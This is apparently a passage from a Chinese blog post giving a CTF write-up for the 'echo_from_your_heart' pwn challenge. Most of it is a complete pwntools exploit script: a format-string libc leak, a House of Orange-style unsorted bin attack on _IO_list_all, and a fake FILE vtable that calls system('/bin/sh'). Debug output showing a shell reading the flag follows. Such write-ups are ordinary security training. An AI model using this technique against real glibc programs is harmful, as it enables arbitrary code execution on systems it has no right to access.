   0x7ffff7a89fb4 <_IO_str_finish+4>     mov    rdi, qword ptr [rdi + 0x38]
 ► 0x7ffff7a89fb8 <_IO_str_finish+8>     test   rdi, rdi

攻击脚本

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']

# io = remote("220.249.52.134",59762)

io = process("./echo_from_your_heart")

elf = ELF("./echo_from_your_heart")

context(arch = "amd64", os = 'linux')

# libc = ELF("./libc-2.24.so")
libc = ELF("./libc-2.23.so")

gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)")

def mian_fun(length,word):
    io.recvuntil("lens of your word: ")
    io.sendline(str(length))
    io.recvuntil("word: ")
    io.sendline(word)

def main():
    payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61)
    mian_fun(0x90,payload)
    io.recvuntil("deadbeef")
    address_list = io.recv()
    libc_start_mian = address_list.split(b"0x")[-1][0:12]
    libc_start_mian = int(libc_start_mian,16) - 240
    log.success("libc_start_mian -> "+hex(libc_start_mian))
    obj = LibcSearcher("__libc_start_main",libc_start_mian)
    libcbase = libc_start_mian - obj.dump("__libc_start_main")
    print(hex(libcbase))
    system_addr = libcbase + obj.dump("system")
    log.success("system_addr -> "+hex(system_addr))
    str_bin_sh_addr = libcbase + obj.dump("str_bin_sh")
    log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr))

    payload = b"b"*0xf58
    mian_fun(0xf70,payload)

    IO_file_jumps_offset = libc.sym['_IO_file_jumps']
    IO_str_underflow_offset = libc.sym['_IO_str_underflow']
    for ref_offset in libc.search(p64(IO_str_underflow_offset)):
        possible_IO_str_jumps_offset = ref_offset - 0x20
        if possible_IO_str_jumps_offset > IO_file_jumps_offset:
            print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset))
            io_str_jumps = libcbase + possible_IO_str_jumps_offset
            log.success("io_str_jumps -> "+hex(io_str_jumps))
            break

    io_list_all = libcbase + obj.dump("_IO_list_all")
    log.success("io_list_all -> "+hex(io_list_all))

    # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"]   #   libc2.24
    # vtable_addr = libcbase + obj.dump('_IO_str_jumps')     #   libc2.23
    # log.success("_IO_str_jumps -> "+hex(vtable_addr))

    # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0  #_IO_str_jumps

    vtable_addr = io_str_jumps
    payload = b"b"*0x20 
    # Plan A
    fakechunk = p64(0) + p64(0x61)     # unsorted bin attack
    fakechunk += p64(0) + p64(io_list_all-0x10)  # FD and BK(point to _IO_list_all-0x10)
    fakechunk += p64(2) + p64(3)
    fakechunk += p64(0) + p64(str_bin_sh_addr)
    fakechunk = fakechunk.ljust(0xd0, b"\x00")
    fakechunk += p64(0)
    fakechunk += p64(vtable_addr-0x8)
    fakechunk = fakechunk.ljust(0xe8, b"\x00")
    payload += fakechunk
    payload += p64(system_addr)
    
    mian_fun(0x20,payload)

    io.sendline("1")
    io.interactive()   


if __name__ == '__main__':
    main()

执行成功效果

...
======= Memory map: ========
555555554000-555555555000 r-xp 00000000 08:01 1052914                    /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart
555555754000-555555755000 r--p 00000000 08:01 1052914                    /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart
555555755000-555555756000 rw-p 00001000 08:01 1052914                    /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart
555555756000-555555799000 rw-p 00000000 00:00 0                          [heap]
7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 
7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 
7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 
7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x19 bytes:
    b'flag{Cragratulations!!!}\n'
flag{Cragratulations!!!}
$  

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值